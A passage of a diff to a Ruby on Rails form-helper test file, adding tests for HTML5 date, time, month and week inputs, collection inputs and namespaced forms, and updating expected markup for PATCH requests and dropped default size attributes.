+    @post.written_on = Time.zone.parse('2004-06-15 15:30:45')
+    assert_dom_equal(expected, datetime_field("post", "written_on"))
+  ensure
+    Time.zone = previous_time_zone
+  end
+
+  def test_datetime_field_with_nil_value
+    expected = %{<input id="post_written_on" name="post[written_on]" type="datetime" />}
+    @post.written_on = nil
+    assert_dom_equal(expected, datetime_field("post", "written_on"))
+  end
+
+  def test_datetime_local_field
+    expected = %{<input id="post_written_on" name="post[written_on]" type="datetime-local" value="2004-06-15T00:00:00" />}
+    assert_dom_equal(expected, datetime_local_field("post", "written_on"))
+  end
+
+  def test_datetime_local_field_with_datetime_value
+    expected = %{<input id="post_written_on" name="post[written_on]" type="datetime-local" value="2004-06-15T01:02:03" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    assert_dom_equal(expected, datetime_local_field("post", "written_on"))
+  end
+
+  def test_datetime_local_field_with_extra_attrs
+    expected = %{<input id="post_written_on" step="60" max="2010-08-15T10:25:00" min="2000-06-15T20:45:30" name="post[written_on]" type="datetime-local" value="2004-06-15T01:02:03" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    min_value = DateTime.new(2000, 6, 15, 20, 45, 30)
+    max_value = DateTime.new(2010, 8, 15, 10, 25, 00)
+    step = 60
+    assert_dom_equal(expected, datetime_local_field("post", "written_on", :min => min_value, :max => max_value, :step => step))
+  end
+
+  def test_datetime_local_field_with_timewithzone_value
+    previous_time_zone, Time.zone = Time.zone, 'UTC'
+    expected = %{<input id="post_written_on" name="post[written_on]" type="datetime-local" value="2004-06-15T15:30:45" />}
+    @post.written_on = Time.zone.parse('2004-06-15 15:30:45')
+    assert_dom_equal(expected, datetime_local_field("post", "written_on"))
+  ensure
+    Time.zone = previous_time_zone
+  end
+
+  def test_datetime_local_field_with_nil_value
+    expected = %{<input id="post_written_on" name="post[written_on]" type="datetime-local" />}
+    @post.written_on = nil
+    assert_dom_equal(expected, datetime_local_field("post", "written_on"))
+  end
+
+  def test_month_field
+    expected = %{<input id="post_written_on" name="post[written_on]" type="month" value="2004-06" />}
+    assert_dom_equal(expected, month_field("post", "written_on"))
+  end
+
+  def test_month_field_with_nil_value
+    expected = %{<input id="post_written_on" name="post[written_on]" type="month" />}
+    @post.written_on = nil
+    assert_dom_equal(expected, month_field("post", "written_on"))
+  end
+
+  def test_month_field_with_datetime_value
+    expected = %{<input id="post_written_on" name="post[written_on]" type="month" value="2004-06" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    assert_dom_equal(expected, month_field("post", "written_on"))
+  end
+
+  def test_month_field_with_extra_attrs
+    expected = %{<input id="post_written_on" step="2" max="2010-12" min="2000-02" name="post[written_on]" type="month" value="2004-06" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    min_value = DateTime.new(2000, 2, 13)
+    max_value = DateTime.new(2010, 12, 23)
+    step = 2
+    assert_dom_equal(expected, month_field("post", "written_on", :min => min_value, :max => max_value, :step => step))
+  end
+
+  def test_month_field_with_timewithzone_value
+    previous_time_zone, Time.zone = Time.zone, 'UTC'
+    expected = %{<input id="post_written_on" name="post[written_on]" type="month" value="2004-06" />}
+    @post.written_on = Time.zone.parse('2004-06-15 15:30:45')
+    assert_dom_equal(expected, month_field("post", "written_on"))
+  ensure
+    Time.zone = previous_time_zone
+  end
+
+  def test_week_field
+    expected = %{<input id="post_written_on" name="post[written_on]" type="week" value="2004-W24" />}
+    assert_dom_equal(expected, week_field("post", "written_on"))
+  end
+
+  def test_week_field_with_nil_value
+    expected = %{<input id="post_written_on" name="post[written_on]" type="week" />}
+    @post.written_on = nil
+    assert_dom_equal(expected, week_field("post", "written_on"))
+  end
+
+  def test_week_field_with_datetime_value
+    expected = %{<input id="post_written_on" name="post[written_on]" type="week" value="2004-W24" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    assert_dom_equal(expected, week_field("post", "written_on"))
+  end
+
+  def test_week_field_with_extra_attrs
+    expected = %{<input id="post_written_on" step="2" max="2010-W51" min="2000-W06" name="post[written_on]" type="week" value="2004-W24" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    min_value = DateTime.new(2000, 2, 13)
+    max_value = DateTime.new(2010, 12, 23)
+    step = 2
+    assert_dom_equal(expected, week_field("post", "written_on", :min => min_value, :max => max_value, :step => step))
+  end
+
+  def test_week_field_with_timewithzone_value
+    previous_time_zone, Time.zone = Time.zone, 'UTC'
+    expected = %{<input id="post_written_on" name="post[written_on]" type="week" value="2004-W24" />}
+    @post.written_on = Time.zone.parse('2004-06-15 15:30:45')
+    assert_dom_equal(expected, week_field("post", "written_on"))
+  ensure
+    Time.zone = previous_time_zone
+  end
+
   def test_url_field
-    expected = %{<input id="user_homepage" size="30" name="user[homepage]" type="url" />}
+    expected = %{<input id="user_homepage" name="user[homepage]" type="url" />}
     assert_dom_equal(expected, url_field("user", "homepage"))
   end
 
   def test_email_field
-    expected = %{<input id="user_address" size="30" name="user[address]" type="email" />}
+    expected = %{<input id="user_address" name="user[address]" type="email" />}
     assert_dom_equal(expected, email_field("user", "address"))
   end
 
@@ -453,10 +868,10 @@ class FormHelperTest < ActionView::TestCase
 
   def test_explicit_name
     assert_dom_equal(
-      '<input id="post_title" name="dont guess" size="30" type="text" value="Hello World" />', text_field("post", "title", "name" => "dont guess")
+      '<input id="post_title" name="dont guess" type="text" value="Hello World" />', text_field("post", "title", "name" => "dont guess")
     )
     assert_dom_equal(
-      '<textarea cols="40" id="post_body" name="really!" rows="20">Back to the hill and over it again!</textarea>',
+      %{<textarea id="post_body" name="really!">\nBack to the hill and over it again!</textarea>},
       text_area("post", "body", "name" => "really!")
     )
     assert_dom_equal(
@@ -473,10 +888,10 @@ class FormHelperTest < ActionView::TestCase
 
   def test_explicit_id
     assert_dom_equal(
-      '<input id="dont guess" name="post[title]" size="30" type="text" value="Hello World" />', text_field("post", "title", "id" => "dont guess")
+      '<input id="dont guess" name="post[title]" type="text" value="Hello World" />', text_field("post", "title", "id" => "dont guess")
     )
     assert_dom_equal(
-      '<textarea cols="40" id="really!" name="post[body]" rows="20">Back to the hill and over it again!</textarea>',
+      %{<textarea id="really!" name="post[body]">\nBack to the hill and over it again!</textarea>},
       text_area("post", "body", "id" => "really!")
     )
     assert_dom_equal(
@@ -493,10 +908,10 @@ class FormHelperTest < ActionView::TestCase
 
   def test_nil_id
     assert_dom_equal(
-      '<input name="post[title]" size="30" type="text" value="Hello World" />', text_field("post", "title", "id" => nil)
+      '<input name="post[title]" type="text" value="Hello World" />', text_field("post", "title", "id" => nil)
     )
     assert_dom_equal(
-      '<textarea cols="40" name="post[body]" rows="20">Back to the hill and over it again!</textarea>',
+      %{<textarea name="post[body]">\nBack to the hill and over it again!</textarea>},
       text_area("post", "body", "id" => nil)
     )
     assert_dom_equal(
@@ -523,11 +938,11 @@ class FormHelperTest < ActionView::TestCase
 
   def test_index
     assert_dom_equal(
-      '<input name="post[5][title]" size="30" id="post_5_title" type="text" value="Hello World" />',
+      '<input name="post[5][title]" id="post_5_title" type="text" value="Hello World" />',
       text_field("post", "title", "index" => 5)
     )
     assert_dom_equal(
-      '<textarea cols="40" name="post[5][body]" id="post_5_body" rows="20">Back to the hill and over it again!</textarea>',
+      %{<textarea name="post[5][body]" id="post_5_body">\nBack to the hill and over it again!</textarea>},
       text_area("post", "body", "index" => 5)
     )
     assert_dom_equal(
@@ -550,11 +965,11 @@ class FormHelperTest < ActionView::TestCase
 
   def test_index_with_nil_id
     assert_dom_equal(
-      '<input name="post[5][title]" size="30" type="text" value="Hello World" />',
+      '<input name="post[5][title]" type="text" value="Hello World" />',
       text_field("post", "title", "index" => 5, 'id' => nil)
     )
     assert_dom_equal(
-      '<textarea cols="40" name="post[5][body]" rows="20">Back to the hill and over it again!</textarea>',
+      %{<textarea name="post[5][body]">\nBack to the hill and over it again!</textarea>},
       text_area("post", "body", "index" => 5, 'id' => nil)
     )
     assert_dom_equal(
@@ -576,16 +991,16 @@ class FormHelperTest < ActionView::TestCase
   end
 
   def test_auto_index
-    pid = @post.id
+    pid = 123
     assert_dom_equal(
       "<label for=\"post_#{pid}_title\">Title</label>",
       label("post[]", "title")
     )
     assert_dom_equal(
-      "<input id=\"post_#{pid}_title\" name=\"post[#{pid}][title]\" size=\"30\" type=\"text\" value=\"Hello World\" />", text_field("post[]","title")
+      "<input id=\"post_#{pid}_title\" name=\"post[#{pid}][title]\" type=\"text\" value=\"Hello World\" />", text_field("post[]","title")
     )
     assert_dom_equal(
-      "<textarea cols=\"40\" id=\"post_#{pid}_body\" name=\"post[#{pid}][body]\" rows=\"20\">Back to the hill and over it again!</textarea>",
+      "<textarea id=\"post_#{pid}_body\" name=\"post[#{pid}][body]\">\nBack to the hill and over it again!</textarea>",
       text_area("post[]", "body")
     )
     assert_dom_equal(
@@ -593,7 +1008,7 @@ class FormHelperTest < ActionView::TestCase
       check_box("post[]", "secret")
     )
    assert_dom_equal(
-"<input checked=\"checked\" id=\"post_#{pid}_title_hello_world\" name=\"post[#{pid}][title]\" type=\"radio\" value=\"Hello World\" />",
+      "<input checked=\"checked\" id=\"post_#{pid}_title_hello_world\" name=\"post[#{pid}][title]\" type=\"radio\" value=\"Hello World\" />",
       radio_button("post[]", "title", "Hello World")
     )
     assert_dom_equal("<input id=\"post_#{pid}_title_goodbye_world\" name=\"post[#{pid}][title]\" type=\"radio\" value=\"Goodbye World\" />",
@@ -602,13 +1017,13 @@ class FormHelperTest < ActionView::TestCase
   end
 
   def test_auto_index_with_nil_id
-    pid = @post.id
+    pid = 123
     assert_dom_equal(
-      "<input name=\"post[#{pid}][title]\" size=\"30\" type=\"text\" value=\"Hello World\" />",
+      "<input name=\"post[#{pid}][title]\" type=\"text\" value=\"Hello World\" />",
       text_field("post[]","title", :id => nil)
     )
     assert_dom_equal(
-      "<textarea cols=\"40\" name=\"post[#{pid}][body]\" rows=\"20\">Back to the hill and over it again!</textarea>",
+      "<textarea name=\"post[#{pid}][body]\">\nBack to the hill and over it again!</textarea>",
       text_area("post[]", "body", :id => nil)
     )
     assert_dom_equal(
@@ -630,6 +1045,20 @@ class FormHelperTest < ActionView::TestCase
     end
   end
 
+  def test_form_for_requires_arguments
+    error = assert_raises(ArgumentError) do
+      form_for(nil, :html => { :id => 'create-post' }) do
+      end
+    end
+    assert_equal "First argument in form cannot contain nil or be empty", error.message
+
+    error = assert_raises(ArgumentError) do
+      form_for([nil, nil], :html => { :id => 'create-post' }) do
+      end
+    end
+    assert_equal "First argument in form cannot contain nil or be empty", error.message
+  end
+
   def test_form_for
     form_for(@post, :html => { :id => 'create-post' }) do |f|
       concat f.label(:title) { "The Title" }
@@ -637,15 +1066,59 @@ class FormHelperTest < ActionView::TestCase
       concat f.text_area(:body)
       concat f.check_box(:secret)
       concat f.submit('Create post')
+      concat f.button('Create post')
+      concat f.button {
+        concat content_tag(:span, 'Create post')
+      }
     end
 
-    expected = whole_form("/posts/123", "create-post" , "edit_post", :method => "put") do
+    expected = whole_form("/posts/123", "create-post" , "edit_post", :method => 'patch') do
       "<label for='post_title'>The Title</label>" +
-      "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
+      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
       "<input name='post[secret]' type='hidden' value='0' />" +
       "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
-      "<input name='commit' type='submit' value='Create post' />"
+      "<input name='commit' type='submit' value='Create post' />" +
+      "<button name='button' type='submit'>Create post</button>" +
+      "<button name='button' type='submit'><span>Create post</span></button>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_collection_radio_buttons
+    post = Post.new
+    def post.active; false; end
+    form_for(post) do |f|
+      concat f.collection_radio_buttons(:active, [true, false], :to_s, :to_s)
+    end
+
+    expected = whole_form("/posts", "new_post" , "new_post") do
+      "<input id='post_active_true' name='post[active]' type='radio' value='true' />" +
+      "<label for='post_active_true'>true</label>" +
+      "<input checked='checked' id='post_active_false' name='post[active]' type='radio' value='false' />" +
+      "<label for='post_active_false'>false</label>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_collection_check_boxes
+    post = Post.new
+    def post.tag_ids; [1, 3]; end
+    collection = (1..3).map{|i| [i, "Tag #{i}"] }
+    form_for(post) do |f|
+      concat f.collection_check_boxes(:tag_ids, collection, :first, :last)
+    end
+
+    expected = whole_form("/posts", "new_post" , "new_post") do
+      "<input checked='checked' id='post_tag_ids_1' name='post[tag_ids][]' type='checkbox' value='1' />" +
+      "<label for='post_tag_ids_1'>Tag 1</label>" +
+      "<input id='post_tag_ids_2' name='post[tag_ids][]' type='checkbox' value='2' />" +
+      "<label for='post_tag_ids_2'>Tag 2</label>" +
+      "<input checked='checked' id='post_tag_ids_3' name='post[tag_ids][]' type='checkbox' value='3' />" +
+      "<label for='post_tag_ids_3'>Tag 3</label>" +
+      "<input name='post[tag_ids][]' type='hidden' value='' />"
     end
 
     assert_dom_equal expected, output_buffer
@@ -658,7 +1131,7 @@ class FormHelperTest < ActionView::TestCase
       concat f.file_field(:file)
     end
 
-    expected = whole_form("/posts/123", "create-post" , "edit_post", :method => "put", :multipart => true) do
+    expected = whole_form("/posts/123", "create-post" , "edit_post", :method => 'patch', :multipart => true) do
       "<input name='post[file]' type='file' id='post_file' />"
     end
 
@@ -674,7 +1147,7 @@ class FormHelperTest < ActionView::TestCase
       }
     end
 
-    expected = whole_form("/posts/123", "edit_post_123" , "edit_post", :method => "put", :multipart => true) do
+    expected = whole_form("/posts/123", "edit_post_123" , "edit_post", :method => 'patch', :multipart => true) do
       "<input name='post[comment][file]' type='file' id='post_comment_file' />"
     end
 
@@ -687,21 +1160,21 @@ class FormHelperTest < ActionView::TestCase
       concat f.label(:title)
     end
 
-    expected = whole_form("/posts/123.json", "edit_post_123" , "edit_post", :method => "put") do
+    expected = whole_form("/posts/123.json", "edit_post_123" , "edit_post", :method => 'patch') do
       "<label for='post_title'>Title</label>"
     end
 
     assert_dom_equal expected, output_buffer
   end
 
-  def test_form_for_with_isolated_namespaced_model
+  def test_form_for_with_model_using_relative_model_naming
     form_for(@blog_post) do |f|
       concat f.text_field :title
       concat f.submit('Edit post')
     end
 
-    expected = whole_form("/posts/44", "edit_post_44" , "edit_post", :method => "put") do
-      "<input name='post[title]' size='30' type='text' id='post_title' value='And his name will be forty and four.' />" +
+    expected = whole_form("/posts/44", "edit_post_44" , "edit_post", :method => 'patch') do
+      "<input name='post[title]' type='text' id='post_title' value='And his name will be forty and four.' />" +
       "<input name='commit' type='submit' value='Edit post' />"
     end
 
@@ -717,10 +1190,10 @@ class FormHelperTest < ActionView::TestCase
       concat f.submit('Create post')
     end
 
-    expected =  whole_form("/posts/123", "create-post", "other_name_edit", :method => "put") do
+    expected =  whole_form("/posts/123", "create-post", "edit_other_name", :method => 'patch') do
       "<label for='other_name_title' class='post_title'>Title</label>" +
-      "<input name='other_name[title]' size='30' id='other_name_title' value='Hello World' type='text' />" +
-      "<textarea name='other_name[body]' id='other_name_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
+      "<input name='other_name[title]' id='other_name_title' value='Hello World' type='text' />" +
+      "<textarea name='other_name[body]' id='other_name_body'>\nBack to the hill and over it again!</textarea>" +
       "<input name='other_name[secret]' value='0' type='hidden' />" +
       "<input name='other_name[secret]' checked='checked' id='other_name_secret' value='1' type='checkbox' />" +
       "<input name='commit' value='Create post' type='submit' />"
@@ -737,8 +1210,8 @@ class FormHelperTest < ActionView::TestCase
     end
 
     expected =  whole_form("/", "create-post", "edit_post", "delete") do
-      "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
+      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
       "<input name='post[secret]' type='hidden' value='0' />" +
       "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
     end
@@ -754,8 +1227,8 @@ class FormHelperTest < ActionView::TestCase
     end
 
     expected =  whole_form("/", "create-post", "edit_post", "delete") do
-      "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
+      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
       "<input name='post[secret]' type='hidden' value='0' />" +
       "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
     end
@@ -771,22 +1244,22 @@ class FormHelperTest < ActionView::TestCase
     end
 
     expected =  whole_form("/search", "search-post", "new_post", "get") do
-      "<input name='post[title]' size='30' type='search' id='post_title' />"
+      "<input name='post[title]' type='search' id='post_title' />"
     end
 
     assert_dom_equal expected, output_buffer
   end
 
   def test_form_for_with_remote
-    form_for(@post, :url => '/', :remote => true, :html => { :id => 'create-post', :method => :put }) do |f|
+    form_for(@post, :url => '/', :remote => true, :html => { :id => 'create-post', :method => :patch}) do |f|
       concat f.text_field(:title)
       concat f.text_area(:body)
       concat f.check_box(:secret)
     end
 
-    expected =  whole_form("/", "create-post", "edit_post", :method => "put", :remote => true) do
-      "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
+    expected =  whole_form("/", "create-post", "edit_post", :method => 'patch', :remote => true) do
+      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
       "<input name='post[secret]' type='hidden' value='0' />" +
       "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
     end
@@ -795,15 +1268,15 @@ class FormHelperTest < ActionView::TestCase
   end
 
   def test_form_for_with_remote_in_html
-    form_for(@post, :url => '/', :html => { :remote => true, :id => 'create-post', :method => :put }) do |f|
+    form_for(@post, :url => '/', :html => { :remote => true, :id => 'create-post', :method => :patch }) do |f|
       concat f.text_field(:title)
       concat f.text_area(:body)
       concat f.check_box(:secret)
     end
 
-    expected =  whole_form("/", "create-post", "edit_post", :method => "put", :remote => true) do
-      "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
+    expected =  whole_form("/", "create-post", "edit_post", :method => 'patch', :remote => true) do
+      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
       "<input name='post[secret]' type='hidden' value='0' />" +
       "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
     end
@@ -813,6 +1286,7 @@ class FormHelperTest < ActionView::TestCase
 
   def test_form_for_with_remote_without_html
     @post.persisted = false
+    @post.stubs(:to_key).returns(nil)
     form_for(@post, :remote => true) do |f|
       concat f.text_field(:title)
       concat f.text_area(:body)
@@ -820,8 +1294,8 @@ class FormHelperTest < ActionView::TestCase
     end
 
     expected =  whole_form("/posts", 'new_post', 'new_post', :remote => true) do
-      "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
+      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
       "<input name='post[secret]' type='hidden' value='0' />" +
       "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
     end
@@ -837,8 +1311,8 @@ class FormHelperTest < ActionView::TestCase
     end
 
     expected = whole_form("/", "create-post") do
-      "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
+      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
       "<input name='post[secret]' type='hidden' value='0' />" +
       "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
     end
@@ -854,10 +1328,10 @@ class FormHelperTest < ActionView::TestCase
       concat f.check_box(:secret)
     end
 
-    expected = whole_form('/posts/123', 'post[]_edit', 'post[]_edit', 'put') do
+    expected = whole_form('/posts/123', 'edit_post[]', 'edit_post[]', 'patch') do
       "<label for='post_123_title'>Title</label>" +
-      "<input name='post[123][title]' size='30' type='text' id='post_123_title' value='Hello World' />" +
-      "<textarea name='post[123][body]' id='post_123_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
+      "<input name='post[123][title]' type='text' id='post_123_title' value='Hello World' />" +
+      "<textarea name='post[123][body]' id='post_123_body'>\nBack to the hill and over it again!</textarea>" +
       "<input name='post[123][secret]' type='hidden' value='0' />" +
       "<input name='post[123][secret]' checked='checked' type='checkbox' id='post_123_secret' value='1' />"
     end
@@ -872,9 +1346,9 @@ class FormHelperTest < ActionView::TestCase
       concat f.check_box(:secret)
     end
 
-    expected = whole_form('/posts/123', 'post[]_edit', 'post[]_edit', 'put') do
-      "<input name='post[][title]' size='30' type='text' id='post__title' value='Hello World' />" +
-      "<textarea name='post[][body]' id='post__body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
+    expected = whole_form('/posts/123', 'edit_post[]', 'edit_post[]', 'patch') do
+      "<input name='post[][title]' type='text' id='post__title' value='Hello World' />" +
+      "<textarea name='post[][body]' id='post__body'>\nBack to the hill and over it again!</textarea>" +
       "<input name='post[][secret]' type='hidden' value='0' />" +
       "<input name='post[][secret]' checked='checked' type='checkbox' id='post__secret' value='1' />"
     end
@@ -882,10 +1356,143 @@ class FormHelperTest < ActionView::TestCase
     assert_dom_equal expected, output_buffer
   end
 
+  def test_form_for_label_error_wrapping
+    form_for(@post) do |f|
+      concat f.label(:author_name, :class => 'label')
+      concat f.text_field(:author_name)
+      concat f.submit('Create post')
+    end
+
+    expected = whole_form('/posts/123', 'edit_post_123' , 'edit_post', 'patch') do
+      "<div class='field_with_errors'><label for='post_author_name' class='label'>Author name</label></div>" +
+      "<div class='field_with_errors'><input name='post[author_name]' type='text' id='post_author_name' value='' /></div>" +
+      "<input name='commit' type='submit' value='Create post' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_label_error_wrapping_without_conventional_instance_variable
+    post = remove_instance_variable :@post
+
+    form_for(post) do |f|
+      concat f.label(:author_name, :class => 'label')
+      concat f.text_field(:author_name)
+      concat f.submit('Create post')
+    end
+
+    expected = whole_form('/posts/123', 'edit_post_123' , 'edit_post', 'patch') do
+      "<div class='field_with_errors'><label for='post_author_name' class='label'>Author name</label></div>" +
+      "<div class='field_with_errors'><input name='post[author_name]' type='text' id='post_author_name' value='' /></div>" +
+      "<input name='commit' type='submit' value='Create post' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_label_error_wrapping_block_and_non_block_versions
+    form_for(@post) do |f|
+      concat f.label(:author_name, 'Name', :class => 'label')
+      concat f.label(:author_name, :class => 'label') { 'Name' }
+    end
+
+    expected = whole_form('/posts/123', 'edit_post_123' , 'edit_post', 'patch') do
+      "<div class='field_with_errors'><label for='post_author_name' class='label'>Name</label></div>" +
+      "<div class='field_with_errors'><label for='post_author_name' class='label'>Name</label></div>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_namespace
+    form_for(@post, :namespace => 'namespace') do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected = whole_form('/posts/123', 'namespace_edit_post_123', 'edit_post', 'patch') do
+      "<input name='post[title]' type='text' id='namespace_post_title' value='Hello World' />" +
+      "<textarea name='post[body]' id='namespace_post_body'>\nBack to the hill and over it again!</textarea>" +
+      "<input name='post[secret]' type='hidden' value='0' />" +
+      "<input name='post[secret]' checked='checked' type='checkbox' id='namespace_post_secret' value='1' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_namespace_with_date_select
+    form_for(@post, :namespace => 'namespace') do |f|
+      concat f.date_select(:written_on)
+    end
+
+    assert_select 'select#namespace_post_written_on_1i'
+  end
+
+  def test_form_for_with_namespace_with_label
+    form_for(@post, :namespace => 'namespace') do |f|
+      concat f.label(:title)
+      concat f.text_field(:title)
+    end
+
+    expected = whole_form('/posts/123', 'namespace_edit_post_123', 'edit_post', 'patch') do
+      "<label for='namespace_post_title'>Title</label>" +
+      "<input name='post[title]' type='text' id='namespace_post_title' value='Hello World' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_two_form_for_with_namespace
+    form_for(@post, :namespace => 'namespace_1') do |f|
+      concat f.label(:title)
+      concat f.text_field(:title)
+    end
+
+    expected_1 = whole_form('/posts/123', 'namespace_1_edit_post_123', 'edit_post', 'patch') do
+      "<label for='namespace_1_post_title'>Title</label>" +
+      "<input name='post[title]' type='text' id='namespace_1_post_title' value='Hello World' />"
+    end
+
+    assert_dom_equal expected_1, output_buffer
+
+    form_for(@post, :namespace => 'namespace_2') do |f|
+      concat f.label(:title)
+      concat f.text_field(:title)
+    end
+
+    expected_2 = whole_form('/posts/123', 'namespace_2_edit_post_123', 'edit_post', 'patch') do
+      "<label for='namespace_2_post_title'>Title</label>" +
+      "<input name='post[title]' type='text' id='namespace_2_post_title' value='Hello World' />"
+    end
+
+    assert_dom_equal expected_2, output_buffer
+  end
+
+  def test_fields_for_with_namespace
+    @comment.body = 'Hello World'
+    form_for(@post, :namespace => 'namespace') do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.fields_for(@comment) { |c|
+        concat c.text_field(:body)
+      }
+    end
+
+    expected = whole_form('/posts/123', 'namespace_edit_post_123', 'edit_post', 'patch') do
+      "<input name='post[title]' type='text' id='namespace_post_title' value='Hello World' />" +
+      "<textarea name='post[body]' id='namespace_post_body'>\nBack to the hill and over it again!</textarea>" +
+      "<input name='post[comment][body]' type='text' id='namespace_post_comment_body' value='Hello World' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
   def test_submit_with_object_as_new_record_and_locale_strings
     old_locale, I18n.locale = I18n.locale, :submit
 
     @post.persisted = false
+    @post.stubs(:to_key).returns(nil)
     form_for(@post) do |f|
       concat f.submit
     end
@@ -906,7 +1513,7 @@ class FormHelperTest < ActionView::TestCase
       concat f.submit
     end
 
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'put') do
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
       "<input name='commit' type='submit' value='Confirm Post changes' />"
     end
 
@@ -938,7 +1545,7 @@ class FormHelperTest < ActionView::TestCase
       concat f.submit
     end
 
-    expected = whole_form('/posts/123', 'another_post_edit', 'another_post_edit', :method => 'put') do
+    expected = whole_form('/posts/123', 'edit_another_post', 'edit_another_post', :method => 'patch') do
       "<input name='commit' type='submit' value='Update your Post' />"
     end
 
@@ -955,8 +1562,8 @@ class FormHelperTest < ActionView::TestCase
       }
     end
 
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'put') do
-      "<input name='post[comment][body]' size='30' type='text' id='post_comment_body' value='Hello World' />"
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
+      "<input name='post[comment][body]' type='text' id='post_comment_body' value='Hello World' />"
     end
 
     assert_dom_equal expected, output_buffer
@@ -970,9 +1577,9 @@ class FormHelperTest < ActionView::TestCase
       }
     end
 
-    expected = whole_form('/posts/123', 'post[]_edit', 'post[]_edit', 'put') do
-      "<input name='post[123][title]' size='30' type='text' id='post_123_title' value='Hello World' />" +
-      "<input name='post[123][comment][][name]' size='30' type='text' id='post_123_comment__name' value='new comment' />"
+    expected = whole_form('/posts/123', 'edit_post[]', 'edit_post[]', 'patch') do
+      "<input name='post[123][title]' type='text' id='post_123_title' value='Hello World' />" +
+      "<input name='post[123][comment][][name]' type='text' id='post_123_comment__name' value='new comment' />"
     end
 
     assert_dom_equal expected, output_buffer
@@ -986,9 +1593,9 @@ class FormHelperTest < ActionView::TestCase
       }
     end
 
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', 'put') do
-      "<input name='post[1][title]' size='30' type='text' id='post_1_title' value='Hello World' />" +
-      "<input name='post[1][comment][1][name]' size='30' type='text' id='post_1_comment_1_name' value='new comment' />"
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', 'patch') do
+      "<input name='post[1][title]' type='text' id='post_1_title' value='Hello World' />" +
+      "<input name='post[1][comment][1][name]' type='text' id='post_1_comment_1_name' value='new comment' />"
     end
 
     assert_dom_equal expected, output_buffer
@@ -1001,8 +1608,8 @@ class FormHelperTest < ActionView::TestCase
       }
     end
 
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', 'put') do
-      "<input name='post[1][comment][title]' size='30' type='text' id='post_1_comment_title' value='Hello World' />"
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', 'patch') do
+      "<input name='post[1][comment][title]' type='text' id='post_1_comment_title' value='Hello World' />"
     end
 
     assert_dom_equal expected, output_buffer
@@ -1015,8 +1622,8 @@ class FormHelperTest < ActionView::TestCase
       }
     end
 
